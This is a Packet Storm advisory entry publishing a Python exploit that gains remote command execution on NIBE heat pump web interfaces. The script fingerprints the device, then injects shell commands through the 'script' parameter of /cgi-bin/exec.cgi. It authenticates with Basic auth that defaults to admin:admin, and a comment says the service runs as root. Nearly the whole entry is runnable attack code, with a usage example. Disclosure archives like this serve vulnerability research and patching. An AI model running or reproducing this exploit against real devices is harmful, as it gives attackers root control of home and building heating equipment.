NIBE Heat Pump Remote Command Execution

2010-04-28T00:00:00
ID PACKETSTORM:89010
Type packetstorm
Reporter Jelmer de Hen
Modified 2010-04-28T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
import socket,sys,os,base64  
# NIBE heat pump RCE exploit  
#  
# Written by Jelmer de Hen  
# Published at http://h.ackack.net/?p=302  
#  
# Web interface is running with root rights  
#  
  
  
def finger_heatpump(ip, port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((ip, port))  
s.send("GET / HTTP/1.1\n\n")  
header = s.recv(1024)  
s.close()  
if header.find("NIBE") !=-1:  
return 1  
else:  
return 0  
  
def exploit_pump(ip, port, command, basic_auth):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((ip, port))  
s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")  
cmd_result = ""  
while s.recv(1024):  
cmd_result = cmd_result + s.recv(1024)  
s.close()  
return cmd_result  
  
def instructions():  
print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"  
print "Written by Jelmer de Hen"  
print "published at http://h.ackack.net/?p=302"  
print "Examples (for spaces in commands use %20 instead of \"\x20\"):"  
print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\""  
sys.exit(1)  
  
def main():  
if len(sys.argv)==4 or len(sys.argv)==6:  
try:  
ip = sys.argv[1]  
port = int(sys.argv[2])  
command = sys.argv[3]  
except:  
instructions()  
try:  
basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])  
except:  
basic_auth = base64.b64encode("admin:admin")  
  
if finger_heatpump(ip, port) == 1:  
print "[+] Fingerprint scan success"  
command_result = exploit_pump(ip, port, command, basic_auth)  
if len(command_result)==0:  
print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"  
else:  
print "[+] Contents of "+command_result+":"  
print command_result  
else:  
print "[-] Fingerprint scan failed"  
  
else:  
instructions()  
  
if __name__ == "__main__":  
sys.exit(main())  
`